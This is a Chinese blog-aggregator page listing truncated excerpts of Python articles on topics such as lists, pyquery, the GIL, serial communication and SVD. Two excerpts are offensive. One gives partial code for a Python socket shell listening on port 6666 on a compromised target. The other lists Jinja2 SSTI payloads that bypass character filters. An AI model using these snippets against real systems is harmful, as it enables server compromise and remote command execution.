搜索到与相关的文章
Python

一篇文章弄懂Python中所有数组数据类型

前言数组类型是各种编程语言中基本的数组结构了,本文来盘点下Python中各种“数组”类型的实现。listtuplearray.arraystrbytesbytearray其实把以上类型都说成是数组是不准确的。这里把数组当作一个广义的概念,即把列表、序列、数组都当作array-like数据类型来理解。注意本文所有代码都是在Python3.7中跑的^_^0x00可变的动态列表listlist应该是Python最常用到的数组类型了。它的特点是可变的、能动态扩容,

系统 2019-09-27 17:57:38 2312

Python

【Python3网络爬虫开发实战】4.3-使用pyquery

【摘要】如果你对Web有所涉及,如果你比较喜欢用CSS选择器,如果你对jQuery有所了解,那么这里有一个更适合你的解析库——pyquery。接下来,我们就来感受一下pyquery的强大之处。在上一节中,我们介绍了BeautifulSoup的用法,它是一个非常强大的网页解析库,你是否觉得它的一些方法用起来有点不适应?有没有觉得它的CSS选择器的功能没有那么强大?如果你对Web有所涉及,如果你比较喜欢用CSS选择器,如果你对jQuery有所了解,那么这里有一

系统 2019-09-27 17:57:26 2312

Python

链式比较、奇怪的字母、有趣的import...Python冷知识(六)

本文转载自Python编程时光(ID:Python-Time)冷知识系列,已经更新至第六篇。谈谈Python那些不为人知的冷知识(一)谈谈Python那些不为人知的冷知识(二)谈谈Python那些不为人知的冷知识(三)谈谈Python那些不为人知的冷知识(四)谈谈Python那些不为人知的冷知识(五)链式比较先给看一个示例。>>>False==False==TrueFalse你知道这个表达式会返回False吗?我再给你举个例子,你可能就懂了。f18

系统 2019-09-27 17:57:08 2312

Python

python多线程

python代码的执行由python虚拟机来控制,虚拟机访问由GIL控制,保证其同一时刻只有一条线程运行。虽然python能运行多线程,但是因为GIL所以同一时刻只有一条线程在python解释器运行。多线程下python虚拟机按以下方式执行:1.设置GIL2.切换到一条线程去运行3.运行:a.执行python2虚拟机运行1000字节指令或者执行python3虚拟机运行时间15ms字节b.线程主动让出控制(遭遇sleep或者IO操作也将触发)4.把线程设置为

系统 2019-09-27 17:57:05 2312

Python

python模拟菜刀反弹shell绕过限制【推荐】

有的时候我们在获取到目标电脑时候如果对方电脑又python编译环境时可以利用python反弹shell主要用到pythonos库和sokect库这里的服务端在目标机上运行fromsocketimport*fromosimport*s=socket(AF_INET,SOCK_STREAM)#IVP4寻址tcp协议s.bind(('',6666))#补丁端口s.listen(1)#开始监听一个队列whileTrue:sock,addr=s.accept()#返

系统 2019-09-27 17:56:31 2312

Python

Python3简单实现串口通信的方法

如下所示:importserialimportsysimportosimporttimeimportredefwait_for_cmd_OK():whileTrue:line=ser.readline()try:print(line.decode('utf-8'),end='')except:passif(re.search(b'OK',line)):breakdefsendAT_Cmd(serInstance,atCmdStr):serInstance.

系统 2019-09-27 17:53:02 2312

Python

Python3 串口接收与发送16进制数据包的实例

如下所示:importserialimportstringimportbinasciis=serial.Serial('com4',9600)s.open()#接收n=s.inwaiting()ifn:data=str(binascii.b2a_hex(s.read(n)))[2:-1]print(data)#发送d=bytes.fromhex('101112343f')s.write(d)s.close()以上这篇Python3串口接收与发送16进制数据

系统 2019-09-27 17:53:01 2312

Python

Python 判断一个列表是否为空列表

方法1(推荐):在Python中,False,0,’’,[],{},()都视为假,因此可以直接进行逻辑运算。此方法效率最高。方法2:调用len方法,查看元素个数是否为0。此方法效率较低。方法3:让解释器再生成一个空列表,并将这个空列表与list_temp进行比较。此方法效率最低。list_temp=[]print('方法1(推荐):在Python中,False,0,'',[],{},()都视为假,因此可以直接进行逻辑运算。此方法效率最高。')iflist_

系统 2019-09-27 17:53:00 2312

Python

SVD理论以及Python实现

SVD将一个矩阵分解为U,V(U,V均为列正交矩阵,即列向量直接内积为0),中间的矩阵为对角阵,元素为奇异值。A[m∗n]=U[m∗r]∗∑[r∗r]∗(V[n∗r])TA_{[m*n]}=U_{[m*r]}*\sum_{[r*r]}*(V_{[n*r]})^TA[m∗n]​=U[m∗r]​∗[r∗r]∑​∗(V[n∗r]​)TSVD计算方式A=U∗∑∗VTAT=V∗∑∗UTAAT=U∗∑∗VT∗V∗∑∗UTA=U*\sum*V^T\\A^T=V*\sum

系统 2019-09-27 17:52:40 2312

Python

python SSTI绕过

原理首先以jinja2模板注入为例:{{request[request.args.param]}}可以用{{request|attr(request.args.param)}}替代绕过"["、"]"过滤绕过的方式也就是同义语句转化,下面给出其他的替换绕过"_"字符:?exp={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&usc=_&clas

系统 2019-09-27 17:51:45 2312